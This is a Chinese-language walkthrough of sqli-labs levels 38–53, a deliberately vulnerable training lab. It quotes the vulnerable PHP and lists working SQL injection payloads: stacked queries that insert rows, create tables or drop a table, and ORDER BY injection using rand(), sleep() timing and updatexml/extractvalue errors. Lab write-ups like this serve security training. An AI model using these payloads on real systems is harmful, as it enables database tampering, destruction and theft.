zoukankan      html  css  js  c++  java
  • sqli-labs之Page-3

    第三十八关:堆叠注入

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    /* execute multi query */
    if (mysqli_multi_query($con1, $sql))
    {
        
        
        /* store first result set */
        if ($result = mysqli_store_result($con1))
        {
            if($row = mysqli_fetch_row($result))
            {
                echo '<font size = "5" color= "#00FF00">';    
                printf("Your Username is : %s", $row[1]);
                echo "<br>";
                printf("Your Password is : %s", $row[2]);
                echo "<br>";
                echo "</font>";
            }
    //            mysqli_free_result($result);
        }
            /* print divider */
        if (mysqli_more_results($con1))
        {
                //printf("-----------------
    ");
        }
         //while (mysqli_next_result($con1));
    }
    else 
        {
        echo '<font size="5" color= "#FFFF00">';
        print_r(mysqli_error($con1));
        echo "</font>";  
        }
    /* close connection */
    mysqli_close($con1);

    mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。所以有了堆叠注入。

    当然这关,直接用?id=100'union select 1,user(),3--+就可以看到你想看的了。但是这里是练堆叠注入。

    payload(向users表中新增数据):

    ?id=1';insert into users(id,username,password) values('38','less38','38')--+

    第三十九关:相比于38关少了一个单引号而已

    payload:

    ?id=1;insert into users(id,username,password) values('39','less39','39')--+

    第四十关

    payload:

    ?id=1');insert into users(id,username,password) values('40','less40','40')--+

    第四十一关

    跟39关的payload一样,不同于39关的是,这一关是盲注,没有报错信息。

    第四十二关

    login.php

    function sqllogin($host,$dbuser,$dbpass, $dbname){
       // connectivity
    //mysql connections for stacked query examples.
    $con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
       
       $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
       $password = $_POST["login_password"];

    我们可以看到username是经过mysqli_real_escape_string的转义的,那么就可以从password处进行attack。

    用户名随意,密码如下:

    1';create table less42 like users#
    1';insert into users(id,username,password) values('42','less42','42')#

    创建了一个名为less42的表以及写入一条数据

    当然,也可以进行删除表的操作1';drop table less42#

    第四十三关

    这关就是42关的单引号变为单引号加右括号而已,其他的基本没变。

    第四十四关

    这关跟42关的区别是,这一关是盲注,没有报错信息,其他的一毛一样。

    第四十五关

    这关与43关的区别是,盲注!!!没有报错信息。

    第四十六关:order by注入

    $sql = "SELECT * FROM users ORDER BY $id";
    ?sort=1 asc  //升序排列
    ?sort=1 desc //降序排列

    从上面两个语句的结果可以看出注入点在order by后面的参数中,order by注入不同于where后的注入,其不能使用union等进行注入。

    ?sort=rand(true)
    ?sort=rand(false)

    上面两个语句返回的不一样,且两个语句各自返回的都是固定的。所有就可以尝试报错注入。

    下面是?sort=rand(true)的回显页面:

    下面是?sort=rand(false)的回显页面:

    ‘s'的ascll码为115。所以有了以下的语句:

    ?sort=rand(ascii(substr(database(),1,1))=115)

    回显页面与rand(true)的回显页面一样,所以可以理解为ascii(left(database(),1))=115=true。

    当然也可以用其他的报错注入语句:

    ?sort=rand(left(database(),1)='s')
    ?sort=rand(left(database(),2)='se')

    延时注入:

    ?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
    ?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),1)

    updatexml:

    ?sort=1 and updatexml(1,concat(0x23,database()),1)

    procedure analyse参数后注入:

    ?sort=1 procedure analyse(extractvalue(1,concat(0x23,database())),1)

    第四十七关

    $sql = "SELECT * FROM users ORDER BY '$id'";

    在46关的基础上多了一个单引号

    ?sort=1' and updatexml(1,concat(0x23,database()),1)--+
    ?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

    第四十八关

    相比于46关,就是报错注入不能使用,因为没有错误回显,其他的都可以使用。

    延时注入和rand(sql语句)还可以使用。

    第四十九关

    同48关,这一关是47关的盲注类型,大致情况和48关差不多,报错注入不能使用。

    第五十关

    ?sort=1;create table less50 like users

    大致和42关差不多。

    第五十一关

    相比于50关,多了一个单引号,并且需要将后面的单引号给注释掉。

    ?sort=1';create table less51 like users--+

    第五十二关

    同50关,只是mysql的错误不会在页面上显示了,利用方法同50关。

    第五十三关

    同51关,只是mysql的错误不会在页面上显示了,利用方法同51关。

  • 相关阅读:
    .NET 分页
    SQL将用户表中已存在的数据所有姓名(汉字)转换为拼音首字母
    EXECL文件导入数据库
    Jquery ajax
    Jquery学习
    C#动态调用webservice
    使用VSTS的Git进行版本控制(四)——在Visual Studio中管理分支
    使用VSTS的Git进行版本控制(三)——评审历史记录
    使用VSTS的Git进行版本控制(二)——提交保存工作
    使用VSTS的Git进行版本控制(一)——复制现有仓库
  • 原文地址:https://www.cnblogs.com/-an-/p/12490880.html
Copyright © 2011-2022 走看看